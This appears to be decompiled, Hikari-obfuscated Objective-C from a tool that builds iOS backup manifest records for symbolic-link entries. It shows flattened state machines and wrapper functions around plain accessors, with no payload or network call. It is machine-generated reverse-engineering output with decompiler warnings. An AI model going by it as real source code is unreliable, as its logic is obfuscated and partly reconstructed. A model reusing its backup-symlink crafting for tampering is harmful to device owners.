//----- (0000000100056930) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_154(void *a1, const char *a2)
{
return HikariFunctionWrapper_153(a1, a2);
}
//----- (0000000100056940) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_155(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100056950) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_156(void *a1, const char *a2)
{
return HikariFunctionWrapper_155(a1, a2);
}
//----- (0000000100056960) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_157(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100056970) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_158(void *a1, const char *a2)
{
HikariFunctionWrapper_157(a1, a2);
}
//----- (0000000100056980) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_159(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100056990) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_160(void *a1, const char *a2)
{
HikariFunctionWrapper_159(a1, a2);
}
//----- (00000001000569A0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_161(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001000569B0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_162(void *a1, const char *a2)
{
return HikariFunctionWrapper_161(a1, a2);
}
//----- (00000001000569C0) ----------------------------------------------------
SymbolicLink *__cdecl -[SymbolicLink initWithPath:domain:target:owner:group:](
SymbolicLink *self,
SEL a2,
id a3,
id a4,
id a5,
unsigned __int64 a6,
unsigned __int64 a7)
{
char v10; // cf
int v11; // eax
int v12; // ecx
char v13; // cf
int v14; // ecx
bool v15; // zf
int v16; // ecx
int v17; // eax
void *v18; // rdi
SymbolicLink *v19; // rax
uint32_t v20; // eax
void **p_target; // [rsp+0h] [rbp-90h]
unsigned __int64 v23; // [rsp+8h] [rbp-88h]
objc_super v25; // [rsp+18h] [rbp-78h] BYREF
unsigned __int64 *p_inode; // [rsp+28h] [rbp-68h]
unsigned __int64 inode; // [rsp+30h] [rbp-60h]
unsigned __int64 v28; // [rsp+38h] [rbp-58h]
unsigned __int64 v29; // [rsp+40h] [rbp-50h]
uint32_t v30; // [rsp+48h] [rbp-48h]
int v31; // [rsp+4Ch] [rbp-44h] BYREF
SymbolicLink *v32; // [rsp+50h] [rbp-40h]
bool v33; // [rsp+5Fh] [rbp-31h]
int *v34; // [rsp+60h] [rbp-30h]
objc_retain(a5);
v25.receiver = self;
v31 = -215538738;
v34 = &v31;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v31 <= -215538739 )
{
if ( v31 > -1103736362 )
{
if ( v31 <= -907052797 )
{
switch ( v31 )
{
case -1103736361:
*v34 = 236471334;
break;
case -1033972275:
HikariFunctionWrapper_217();
*v34 = -1686123611;
break;
case -996945705:
v15 = !v33;
v11 = 1558402929;
v16 = 292046308;
goto LABEL_77;
}
}
else if ( v31 > -842651993 )
{
if ( v31 == -842651992 )
{
*v34 = -1601196634;
}
else if ( v31 == -326884000 )
{
*v34 = -127199228;
}
}
else
{
if ( v31 == -907052796 )
{
v25.super_class = (Class)&OBJC_CLASS___SymbolicLink;
v19 = -[BackupFile initWithPath:domain:](&v25, "initWithPath:domain:", a3, a4);
v15 = 0;
v32 = v19;
v11 = -907052796;
v16 = -326884000;
goto LABEL_77;
}
if ( v31 == -850974276 )
LABEL_24:
*v34 = 677994785;
}
}
else if ( v31 <= -1609583452 )
{
switch ( v31 )
{
case -1713933341:
v10 = 0;
*p_inode = v29;
v32->_mode = 41453;
v11 = 92737062;
v12 = 190285042;
LABEL_68:
if ( v10 )
v11 = v12;
goto LABEL_79;
case -1686123611:
v20 = arc4random();
v15 = 0;
v30 = v20;
v11 = -1033972275;
v16 = -1396746933;
LABEL_77:
if ( !v15 )
v11 = v16;
LABEL_79:
*v34 = v11;
break;
case -1666779612:
v29 = v28;
LABEL_37:
*v34 = -1713933341;
break;
}
}
else if ( v31 > -1396746934 )
{
if ( v31 == -1396746933 )
{
*v34 = -1609583451;
}
else if ( v31 == -1338060115 )
{
v25.super_class = (Class)&OBJC_CLASS___SymbolicLink;
HikariFunctionWrapper_215(&v25, "initWithPath:domain:");
*v34 = -907052796;
}
}
else if ( v31 == -1609583451 )
{
v23 = v30;
*v34 = 989730134;
}
else if ( v31 == -1601196634 )
{
v10 = 0;
v11 = 1940314769;
v12 = -1601196634;
goto LABEL_68;
}
}
if ( v31 > 677994784 )
break;
if ( v31 <= 92737061 )
{
switch ( v31 )
{
case -215538738:
v13 = 1;
v11 = -907052796;
v14 = -1338060115;
goto LABEL_62;
case -127199228:
v15 = 0;
v11 = -1103736361;
v16 = 236471334;
goto LABEL_77;
case -49063077:
v13 = 0;
v11 = -1033972275;
v14 = -1686123611;
goto LABEL_62;
}
}
else if ( v31 > 236471333 )
{
if ( v31 == 236471334 )
{
v33 = v32 == 0;
v13 = 0;
v11 = -1103736361;
v14 = -996945705;
LABEL_62:
if ( !v13 )
v11 = v14;
goto LABEL_79;
}
if ( v31 == 292046308 )
{
objc_release(a5);
*v34 = 1104327199;
}
}
else if ( v31 == 92737062 )
{
*v34 = 292046308;
}
else if ( v31 == 190285042 )
{
*p_inode = v29;
v32->_mode = 41453;
goto LABEL_37;
}
}
if ( v31 <= 1558402928 )
break;
if ( v31 > 1913745064 )
{
if ( v31 == 1913745065 )
{
objc_retain(a5);
v18 = *p_target;
*p_target = a5;
objc_release(v18);
v32->_owner = a6;
v32->_group = a7;
p_inode = &v32->_inode;
inode = v32->_inode;
*v34 = 1088931323;
}
else if ( v31 == 1940314769 )
{
*v34 = -1666779612;
v28 = v23;
}
}
else
{
if ( v31 == 1558402929 )
goto LABEL_24;
if ( v31 == 1860741329 )
*v34 = 1913745065;
}
}
if ( v31 > 1088931322 )
break;
if ( v31 == 677994785 )
{
v10 = 1;
p_target = (void **)&v32->_target;
v11 = 677994785;
v12 = 1860741329;
goto LABEL_68;
}
if ( v31 == 989730134 )
{
v13 = 1;
v11 = -1601196634;
v14 = -842651992;
goto LABEL_62;
}
}
if ( v31 != 1088931323 )
break;
v17 = -1666779612;
if ( !inode )
v17 = -49063077;
*v34 = v17;
v28 = inode;
}
}
while ( v31 != 1104327199 );
return v32;
}
// 100056C9F: variable 'v23' is possibly undefined
// 100056E36: variable 'p_target' is possibly undefined
// 10025F980: using guessed type __objc2_class OBJC_CLASS___SymbolicLink;
//----- (000000010005706C) ----------------------------------------------------
id __cdecl -[SymbolicLink toRecord](SymbolicLink *self, SEL a2)
{
double v2; // xmm0_8
void (__cdecl **v4)(id); // r12
MbdbRecord *v5; // rax
id v6; // rax
id v7; // r14
NSString *v8; // rax
int v9; // ecx
int v10; // eax
NSString *v11; // rax
NSString *v12; // r14
NSData *v13; // rax
NSData *v14; // r15
NSData *v15; // rax
NSData *v16; // r14
id v17; // rax
unsigned int v18; // eax
id v19; // rax
NSString *v20; // rax
NSString *v21; // r15
NSData *v22; // rax
SymbolicLink *v23; // r15
void (__cdecl **v24)(id); // rbx
NSData *v25; // r12
NSData *v26; // rdi
id v27; // rax
id v28; // r15
id v29; // rax
unsigned int v30; // eax
NSDate *v31; // rax
int v32; // ecx
MbdbRecord *v33; // rax
id v34; // r14
id v35; // rax
id v36; // r15
id v37; // rax
unsigned int v38; // eax
unsigned int v39; // eax
const char *v41; // [rsp+8h] [rbp-58h]
NSDate *v42; // [rsp+10h] [rbp-50h]
int v43; // [rsp+1Ch] [rbp-44h] BYREF
id v44; // [rsp+20h] [rbp-40h]
int *v45; // [rsp+28h] [rbp-38h]
id v46; // [rsp+30h] [rbp-30h]
v43 = -1768516503;
v45 = &v43;
v4 = &objc_release;
do
{
while ( 1 )
{
while ( 1 )
{
while ( v43 <= 103976832 )
{
if ( v43 > -1213548430 )
{
if ( v43 == -1213548429 )
{
*v45 = -1860953767;
}
else if ( v43 == -46797478 )
{
HikariFunctionWrapper_223(v46, v41);
((void (__cdecl *)(id))v4)(v44);
v20 = -[SymbolicLink target](self, "target");
v21 = objc_retainAutoreleasedReturnValue(v20);
objc_msgSend(v46, "setLink:", v21);
((void (__cdecl *)(id))v4)(v21);
v22 = +[NSData data](&OBJC_CLASS___NSData, "data");
v23 = self;
v24 = v4;
v25 = objc_retainAutoreleasedReturnValue(v22);
objc_msgSend(v46, "setHashData:", v25);
v26 = v25;
v4 = v24;
self = v23;
((void (__fastcall *)(NSData *))v4)(v26);
v27 = HikariFunctionWrapper_225(&OBJC_CLASS___NSData, "data");
v28 = objc_retainAutoreleasedReturnValue(v27);
HikariFunctionWrapper_227(v46, "setKey:");
((void (__fastcall *)(id))v4)(v28);
v29 = HikariFunctionWrapper_229(self, "mode");
objc_msgSend(v46, "setMode:", v29);
HikariFunctionWrapper_231(self, "inode");
HikariFunctionWrapper_233(v46, "setInode:");
-[SymbolicLink owner](self, "owner");
HikariFunctionWrapper_235(v46, "setUserId:");
v30 = (unsigned int)HikariFunctionWrapper_237(self, "group");
objc_msgSend(v46, "setGroupId:", v30);
v31 = +[NSDate date](&OBJC_CLASS___NSDate, "date");
v42 = objc_retainAutoreleasedReturnValue(v31);
v32 = 1683761829;
LABEL_20:
v10 = v32;
LABEL_21:
*v45 = v10;
}
}
else
{
if ( v43 == -1860953767 )
{
v32 = -46797478;
goto LABEL_20;
}
if ( v43 == -1768516503 )
{
v9 = 1256843648;
goto LABEL_11;
}
}
}
if ( v43 <= 1683761828 )
break;
if ( v43 == 1683761829 )
{
*v45 = 103976833;
}
else if ( v43 == 1856071984 )
{
objc_msgSend(v46, v41, v44);
((void (__cdecl *)(id))v4)(v44);
v11 = -[SymbolicLink target](self, "target");
v12 = objc_retainAutoreleasedReturnValue(v11);
objc_msgSend(v46, "setLink:", v12);
((void (__cdecl *)(id))v4)(v12);
v13 = +[NSData data](&OBJC_CLASS___NSData, "data");
v14 = objc_retainAutoreleasedReturnValue(v13);
HikariFunctionWrapper_253_0(v46, "setHashData:");
((void (__cdecl *)(id))v4)(v14);
v15 = +[NSData data](&OBJC_CLASS___NSData, "data");
v16 = objc_retainAutoreleasedReturnValue(v15);
HikariFunctionWrapper_255_0(v46, "setKey:");
((void (__cdecl *)(id))v4)(v16);
v17 = HikariFunctionWrapper_257_0(self, "mode");
objc_msgSend(v46, "setMode:", v17);
-[SymbolicLink inode](self, "inode");
HikariFunctionWrapper_259_0(v46, "setInode:");
-[SymbolicLink owner](self, "owner");
HikariFunctionWrapper_261(v46, "setUserId:");
v18 = (unsigned int)-[SymbolicLink group](self, "group");
objc_msgSend(v46, "setGroupId:", v18);
v19 = HikariFunctionWrapper_263(&OBJC_CLASS___NSDate, "date");
objc_retainAutoreleasedReturnValue(v19);
*v45 = -46797478;
}
}
if ( v43 != 802175956 )
break;
v33 = objc_alloc(&OBJC_CLASS___MbdbRecord);
v34 = HikariFunctionWrapper_247_0(v33, "init");
v35 = HikariFunctionWrapper_249_0(self, "domain");
v36 = objc_retainAutoreleasedReturnValue(v35);
objc_msgSend(v34, "setDomain:", v36);
((void (__cdecl *)(id))v4)(v36);
v37 = HikariFunctionWrapper_251_0(self, "path");
objc_retainAutoreleasedReturnValue(v37);
*v45 = 1256843648;
}
if ( v43 == 1256843648 )
{
v5 = objc_alloc(&OBJC_CLASS___MbdbRecord);
v46 = HikariFunctionWrapper_219(v5, "init");
v6 = HikariFunctionWrapper_221(self, "domain");
v7 = objc_retainAutoreleasedReturnValue(v6);
objc_msgSend(v46, "setDomain:", v7);
((void (__cdecl *)(id))v4)(v7);
v8 = -[BackupFile path](self, "path");
v44 = objc_retainAutoreleasedReturnValue(v8);
v41 = "setFilename:";
v9 = -1213548429;
LABEL_11:
v10 = v9;
goto LABEL_21;
}
}
while ( v43 != 103976833 );
-[NSDate timeIntervalSince1970](v42, "timeIntervalSince1970");
objc_msgSend(v46, "setMtime:", (unsigned int)(int)v2);
objc_release(v42);
v38 = (unsigned int)HikariFunctionWrapper_239(v46, "mtime");
objc_msgSend(v46, "setAtime:", v38);
v39 = (unsigned int)objc_msgSend(v46, "mtime");
objc_msgSend(v46, "setCtime:", v39);
HikariFunctionWrapper_241(v46, "setSize:");
HikariFunctionWrapper_243(v46, "setFlags:");
HikariFunctionWrapper_245_0(v46, "setProperties:");
objc_autoreleaseReturnValue(v46);
return v46;
}
// 100057247: variable 'v41' is possibly undefined
// 10005766E: variable 'v42' is possibly undefined
// 100057671: variable 'v2' is possibly undefined
// 10025FA70: using guessed type __objc2_class OBJC_CLASS___MbdbRecord;
//----- (0000000100057728) ----------------------------------------------------
NSString *__cdecl -[SymbolicLink target](SymbolicLink *self, SEL a2)
{
int v2; // r9d
__int64 v4; // [rsp+0h] [rbp-30h]
NSString **v5; // [rsp+8h] [rbp-28h]
NSString *v6; // [rsp+10h] [rbp-20h]
int v7; // [rsp+1Ch] [rbp-14h] BYREF
int *v8; // [rsp+20h] [rbp-10h]
v7 = -1733451456;
v8 = &v7;
do
{
while ( 1 )
{
while ( 1 )
{
while ( v7 > -432457140 )
{
if ( v7 > 626073209 )
{
switch ( v7 )
{
case 626073210:
*v8 = -367879368;
break;
case 974989569:
v4 = 24;
v2 = 1253389330;
LABEL_27:
*v8 = v2;
break;
case 1253389330:
*v8 = 299979960;
break;
}
}
else
{
switch ( v7 )
{
case -432457139:
*v8 = -749761898;
break;
case -367879368:
v2 = -749761898;
goto LABEL_27;
case 299979960:
LABEL_20:
*v8 = -1413635590;
break;
}
}
}
if ( v7 > -831308901 )
break;
switch ( v7 )
{
case -1733451456:
v2 = 974989569;
goto LABEL_27;
case -1639202547:
goto LABEL_20;
case -1413635590:
v5 = (NSString **)((char *)self + v4);
v2 = 626073210;
goto LABEL_27;
}
}
if ( v7 != -831308900 )
break;
*v8 = 974989569;
}
if ( v7 == -749761898 )
{
v6 = *v5;
v2 = -522230510;
goto LABEL_27;
}
}
while ( v7 != -522230510 );
return v6;
}
// 100057918: conditional instruction was optimized away because %var_18.4==D44AA83B
// 100057827: variable 'v4' is possibly undefined
// 1000578E8: variable 'v5' is possibly undefined
// 100057A04: variable 'v6' is possibly undefined
//----- (0000000100057A0B) ----------------------------------------------------
void __cdecl -[SymbolicLink setTarget:](SymbolicLink *self, SEL a2, id a3)
{
int v4; // eax
NSString **p_target; // [rsp+8h] [rbp-48h]
NSString *v6; // [rsp+10h] [rbp-40h]
int v7; // [rsp+1Ch] [rbp-34h] BYREF
int *v8; // [rsp+20h] [rbp-30h]
p_target = &self->_target;
objc_retain(a3);
v7 = -80964679;
v8 = &v7;
do
{
while ( 1 )
{
while ( v7 > 1427312746 )
{
if ( v7 == 1427312747 )
{
v4 = 427159279;
LABEL_11:
*v8 = v4;
}
else if ( v7 == 1493506003 )
{
objc_release(v6);
*v8 = 427159279;
}
}
if ( v7 != -80964679 )
break;
v6 = *p_target;
*p_target = (NSString *)a3;
*v8 = 1427312747;
}
if ( v7 == 427159279 )
{
objc_release(v6);
v4 = -704681521;
goto LABEL_11;
}
}
while ( v7 != -704681521 );
}
// 100057AAB: variable 'v6' is possibly undefined
//----- (0000000100057B4A) ----------------------------------------------------
unsigned __int64 __cdecl -[SymbolicLink owner](SymbolicLink *self, SEL a2)
{
int v2; // ebx
unsigned __int64 *p_owner; // [rsp+0h] [rbp-38h]
unsigned __int64 v5; // [rsp+8h] [rbp-30h]
int v6; // [rsp+14h] [rbp-24h] BYREF
int *v7; // [rsp+18h] [rbp-20h]
v6 = 1097319594;
v7 = &v6;
do
{
while ( 1 )
{
while ( 1 )
{
while ( v6 <= -618424069 )
{
if ( v6 > -1079386358 )
{
if ( v6 == -1079386357 )
{
*v7 = 2090739535;
}
else if ( v6 == -637765190 )
{
*v7 = 227753709;
}
}
else if ( v6 == -1606962154 )
{
v5 = *p_owner;
*v7 = -1252499719;
}
else if ( v6 == -1252499719 )
{
v2 = 2090739535;
goto LABEL_21;
}
}
if ( v6 > 1097319593 )
break;
if ( v6 == -618424068 )
{
*v7 = -1606962154;
}
else if ( v6 == 227753709 )
{
p_owner = &self->_owner;
v2 = -618424068;
goto LABEL_21;
}
}
if ( v6 != 1097319594 )
break;
v2 = 227753709;
LABEL_21:
*v7 = v2;
}
if ( v6 == 2090739535 )
{
v2 = 1584215697;
goto LABEL_21;
}
}
while ( v6 != 1584215697 );
return v5;
}
// 100057D90: conditional instruction was optimized away because %var_28.4==86923716
// 100057D62: variable 'p_owner' is possibly undefined
// 100057DAC: variable 'v5' is possibly undefined
//----- (0000000100057DB7) ----------------------------------------------------
void __cdecl -[SymbolicLink setOwner:](SymbolicLink *self, SEL a2, unsigned __int64 a3)
{
int v3; // eax
__int64 v4; // [rsp+0h] [rbp-30h]
unsigned __int64 *v5; // [rsp+8h] [rbp-28h]
int v6; // [rsp+14h] [rbp-1Ch] BYREF
int *v7; // [rsp+18h] [rbp-18h]
v6 = -1664155362;
v7 = &v6;
do
{
while ( 1 )
{
while ( 1 )
{
while ( v6 <= 252147471 )
{
if ( v6 > -44440623 )
{
switch ( v6 )
{
case -44440622:
*v7 = 163037895;
break;
case 37676192:
*v5 = a3;
*v7 = 2016913126;
break;
case 163037895:
v4 = 32;
*v7 = 1705408178;
break;
}
}
else
{
switch ( v6 )
{
case -1852086213:
*v7 = 1245816073;
break;
case -1664155362:
v3 = 163037895;
LABEL_26:
*v7 = v3;
break;
case -1530827154:
*v7 = 252147472;
break;
}
}
}
if ( v6 > 1705408177 )
break;
switch ( v6 )
{
case 252147472:
v5 = (unsigned __int64 *)((char *)self + v4);
v3 = -1852086213;
goto LABEL_26;
case 494023594:
v3 = 252147472;
goto LABEL_26;
case 1245816073:
v3 = 2016913126;
goto LABEL_26;
}
}
if ( v6 != 1705408178 )
break;
*v7 = 494023594;
}
if ( v6 == 2016913126 )
{
*v5 = a3;
v3 = 1936707829;
goto LABEL_26;
}
}
while ( v6 != 1936707829 );
}
// 100057FD1: conditional instruction was optimized away because %var_20.4==7113D8B0
// 100057F03: variable 'v5' is possibly undefined
// 100057F50: variable 'v4' is possibly undefined
//----- (0000000100058005) ----------------------------------------------------
unsigned __int64 __cdecl -[SymbolicLink group](SymbolicLink *self, SEL a2)
{
int v2; // edx
__int64 v4; // [rsp+0h] [rbp-20h]
unsigned __int64 v5; // [rsp+8h] [rbp-18h]
int v6; // [rsp+14h] [rbp-Ch] BYREF
int *v7; // [rsp+18h] [rbp-8h]
v6 = -1226350200;
v7 = &v6;
do
{
while ( 1 )
{
while ( 1 )
{
while ( v6 <= 184516920 )
{
switch ( v6 )
{
case -1528678374:
*v7 = 356598;
break;
case -1226350200:
v2 = 356598;
LABEL_12:
*v7 = v2;
break;
case 356598:
v4 = 40;
v2 = 2002261745;
goto LABEL_12;
}
}
if ( v6 != 883679820 )
break;
v5 = *(unsigned __int64 *)((char *)&self->super.super.isa + v4);
*v7 = 184516921;
}
if ( v6 != 2002261745 )
break;
*v7 = 883679820;
}
}
while ( v6 != 184516921 );
return v5;
}
// 1000580E4: conditional instruction was optimized away because %var_10.4==FDFF9FFA
// 1000580F6: variable 'v4' is possibly undefined
// 100058119: variable 'v5' is possibly undefined
//----- (000000010005811F) ----------------------------------------------------
void __cdecl -[SymbolicLink setGroup:](SymbolicLink *self, SEL a2, unsigned __int64 a3)
{
int v3; // r9d
__int64 v4; // [rsp+0h] [rbp-20h]
unsigned __int64 *v5; // [rsp+8h] [rbp-18h]
int v6; // [rsp+14h] [rbp-Ch] BYREF
int *v7; // [rsp+18h] [rbp-8h]
v6 = 1135304533;
v7 = &v6;
do
{
while ( 1 )
{
while ( 1 )
{
while ( v6 <= -135023637 )
{
if ( v6 > -380877886 )
{
switch ( v6 )
{
case -380877885:
v5 = (unsigned __int64 *)((char *)self + v4);
*v7 = 1484743837;
break;
case -372907473:
*v7 = -135023636;
break;
case -321884128:
*v7 = -1818106591;
break;
}
}
else
{
switch ( v6 )
{
case -1818106591:
v4 = 40;
v3 = -372907473;
goto LABEL_25;
case -1589392711:
goto LABEL_20;
case -946115887:
v3 = 2066304770;
goto LABEL_25;
}
}
}
if ( v6 > 1544833373 )
break;
switch ( v6 )
{
case -135023636:
LABEL_20:
*v7 = -380877885;
break;
case 1135304533:
v3 = -1818106591;
LABEL_25:
*v7 = v3;
break;
case 1484743837:
*v7 = -946115887;
break;
}
}
if ( v6 != 1802111395 )
break;
*v5 = a3;
*v7 = 2066304770;
}
if ( v6 == 2066304770 )
{
*v5 = a3;
v3 = 1544833374;
goto LABEL_25;
}
}
while ( v6 != 1544833374 );
}
// 1000583C0: conditional instruction was optimized away because %var_10.4==F13014D9
// 1000582F2: variable 'v5' is possibly undefined
// 100058388: variable 'v4' is possibly undefined
//----- (00000001000583EF) ----------------------------------------------------
unsigned __int64 __cdecl -[SymbolicLink inode](SymbolicLink *self, SEL a2)
{
int v2; // ecx
__int64 v4; // [rsp+0h] [rbp-20h]
unsigned __int64 *v5; // [rsp+8h] [rbp-18h]
int v6; // [rsp+14h] [rbp-Ch] BYREF
int *v7; // [rsp+18h] [rbp-8h]
v6 = 1815410203;
v7 = &v6;
do
{
while ( 1 )
{
while ( 1 )
{
while ( v6 <= 750389112 )
{
switch ( v6 )
{
case -1702750320:
*v7 = 960493093;
break;
case -1188119017:
*v7 = -1047983533;
break;
case -1047983533:
v4 = 48;
v2 = -1702750320;
goto LABEL_10;
}
}
if ( v6 != 960493093 )
break;
v5 = (unsigned __int64 *)((char *)self + v4);
*v7 = 750389113;
}
if ( v6 != 1815410203 )
break;
v2 = -1047983533;
LABEL_10:
*v7 = v2;
}
}
while ( v6 != 750389113 );
return *v5;
}
// 1000584A8: conditional instruction was optimized away because %var_10.4==F7FD7EED
// 1000584DB: variable 'v4' is possibly undefined
// 1000584FE: variable 'v5' is possibly undefined
//----- (0000000100058503) ----------------------------------------------------
void __cdecl -[SymbolicLink setInode:](SymbolicLink *self, SEL a2, unsigned __int64 a3)
{
int v3; // ebx
int v4; // [rsp+Ch] [rbp-2Ch] BYREF
int *v5; // [rsp+10h] [rbp-28h]
v4 = 487988998;
v5 = &v4;
do
{
while ( 1 )
{
while ( 1 )
{
while ( v4 > 591252562 )
{
if ( v4 > 1850003819 )
{
if ( v4 == 1850003820 )
{
v3 = 2064984312;
LABEL_19:
*v5 = v3;
}
else if ( v4 == 2064984312 )
{
v3 = -1288724404;
goto LABEL_19;
}
}
else if ( v4 == 591252563 )
{
self->_inode = a3;
*v5 = 538877397;
}
else if ( v4 == 1581974002 )
{
*v5 = 1850003820;
}
}
if ( v4 <= 487988997 )
break;
if ( v4 == 487988998 )
{
v3 = 538877397;
goto LABEL_19;
}
if ( v4 == 538877397 )
{
self->_inode = a3;
v3 = 1581974002;
goto LABEL_19;
}
}
if ( v4 != -91143535 )
break;
*v5 = 2064984312;
}
}
while ( v4 != -1288724404 );
}
//----- (0000000100058780) ----------------------------------------------------
unsigned __int64 __cdecl -[SymbolicLink mode](SymbolicLink *self, SEL a2)
{
int v2; // eax
__int64 v4; // [rsp+0h] [rbp-38h]
unsigned __int64 v5; // [rsp+8h] [rbp-30h]
int v6; // [rsp+14h] [rbp-24h] BYREF
int *v7; // [rsp+18h] [rbp-20h]
v6 = -248461976;
v7 = &v6;
do
{
while ( 1 )
{
while ( 1 )
{
while ( v6 > -34161174 )
{
if ( v6 > 1713688087 )
{
if ( v6 == 1713688088 )
{
*v7 = -1415971802;
}
else if ( v6 == 1816625621 )
{
*v7 = 645207905;
}
}
else if ( v6 == -34161173 )
{
*v7 = -439744738;
}
else if ( v6 == 645207905 )
{
v2 = -728402032;
goto LABEL_18;
}
}
if ( v6 <= -439744739 )
break;
if ( v6 == -439744738 )
{
v4 = 56;
v2 = 1816625621;
LABEL_18:
*v7 = v2;
}
else if ( v6 == -248461976 )
{
v2 = -439744738;
goto LABEL_18;
}
}
if ( v6 != -1800853989 )
break;
*v7 = -728402032;
}
if ( v6 == -728402032 )
{
v5 = *(unsigned __int64 *)((char *)&self->super.super.isa + v4);
v2 = 1713688088;
goto LABEL_18;
}
}
while ( v6 != -1415971802 );
return v5;
}
// 10005890B: conditional instruction was optimized away because %var_28.4==D45E6844
// 100058892: variable 'v4' is possibly undefined
// 1000589DB: variable 'v5' is possibly undefined
//----- (00000001000589E6) ----------------------------------------------------
void __cdecl -[SymbolicLink setMode:](SymbolicLink *self, SEL a2, unsigned __int64 a3)
{
int v3; // ebx
__int64 v4; // [rsp+0h] [rbp-30h]
int v5; // [rsp+Ch] [rbp-24h] BYREF
int *v6; // [rsp+10h] [rbp-20h]
v5 = 1185962817;
v6 = &v5;
do
{
while ( 1 )
{
while ( 1 )
{
while ( v5 > 805056246 )
{
if ( v5 > 1417269242 )
{
if ( v5 == 1417269243 )
{
*v6 = -2095403526;
}
else if ( v5 == 2088533942 )
{
*v6 = 108333687;
}
}
else if ( v5 == 805056247 )
{
*(Class *)((char *)&self->super.super.isa + v4) = (Class)a3;
*v6 = -9111151;
}
else if ( v5 == 1185962817 )
{
v3 = 108333687;
goto LABEL_21;
}
}
if ( v5 <= 5754676 )
break;
if ( v5 == 5754677 )
{
*v6 = 805056247;
}
else if ( v5 == 108333687 )
{
v4 = 56;
v3 = 5754677;
goto LABEL_21;
}
}
if ( v5 != -2095403526 )
break;
v3 = -2005325313;
LABEL_21:
*v6 = v3;
}
if ( v5 == -9111151 )
{
v3 = -2095403526;
goto LABEL_21;
}
}
while ( v5 != -2005325313 );
}
// 100058AEB: conditional instruction was optimized away because %var_28.4==DF25B551
// 100058BB7: variable 'v4' is possibly undefined
//----- (0000000100058C48) ----------------------------------------------------
void __cdecl -[SymbolicLink .cxx_destruct](SymbolicLink *self, SEL a2)
{
int v2; // eax
id *location; // [rsp+10h] [rbp-40h]
int v4; // [rsp+1Ch] [rbp-34h] BYREF
int *v5; // [rsp+20h] [rbp-30h]
v4 = 2066990826;
v5 = &v4;
do
{
while ( 1 )
{
while ( 1 )
{
while ( v4 > -184023970 )
{
if ( v4 > 597722931 )
{
if ( v4 == 597722932 )
{
objc_storeStrong(location, 0);
v2 = -1160734980;
LABEL_19:
*v5 = v2;
}
else if ( v4 == 2066990826 )
{
v2 = -1067346850;
goto LABEL_19;
}
}
else if ( v4 == -184023969 )
{
*v5 = -1067346850;
}
else if ( v4 == -88025818 )
{
v2 = 597722932;
goto LABEL_19;
}
}
if ( v4 > -1160734981 )
break;
if ( v4 == -1659137333 )
{
objc_storeStrong(location, 0);
*v5 = 597722932;
}
else if ( v4 == -1636127574 )
{
*v5 = -88025818;
}
}
if ( v4 != -1067346850 )
break;
location = (id *)&self->_target;
*v5 = -1636127574;
}
}
while ( v4 != -1160734980 );
}
// 100058DDE: conditional instruction was optimized away because r13d.4==DFB08166
// 100058D80: variable 'location' is possibly undefined
//----- (0000000100058E10) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_6(objc_super *a1, const char *a2)
{
return objc_msgSendSuper2(a1, a2);
}
//----- (0000000100058E20) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_215(objc_super *a1, const char *a2)
{
return HikariFunctionWrapper_6(a1, a2);
}
//----- (0000000100058E30) ----------------------------------------------------
uint32_t HikariFunctionWrapper_216()
{
return arc4random();
}
//----- (0000000100058E40) ----------------------------------------------------
uint32_t HikariFunctionWrapper_217()
{
return HikariFunctionWrapper_216();
}
//----- (0000000100058E50) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_218(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100058E60) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_219(void *a1, const char *a2)
{
return HikariFunctionWrapper_218(a1, a2);
}
//----- (0000000100058E70) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_220(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100058E80) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_221(void *a1, const char *a2)
{
return HikariFunctionWrapper_220(a1, a2);
}
//----- (0000000100058E90) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_222(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100058EA0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_223(void *a1, const char *a2)
{
HikariFunctionWrapper_222(a1, a2);
}
//----- (0000000100058EB0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_224(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100058EC0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_225(void *a1, const char *a2)
{
return HikariFunctionWrapper_224(a1, a2);
}
//----- (0000000100058ED0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_226(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100058EE0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_227(void *a1, const char *a2)
{
HikariFunctionWrapper_226(a1, a2);
}
//----- (0000000100058EF0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_228(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100058F00) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_229(void *a1, const char *a2)
{
return HikariFunctionWrapper_228(a1, a2);
}
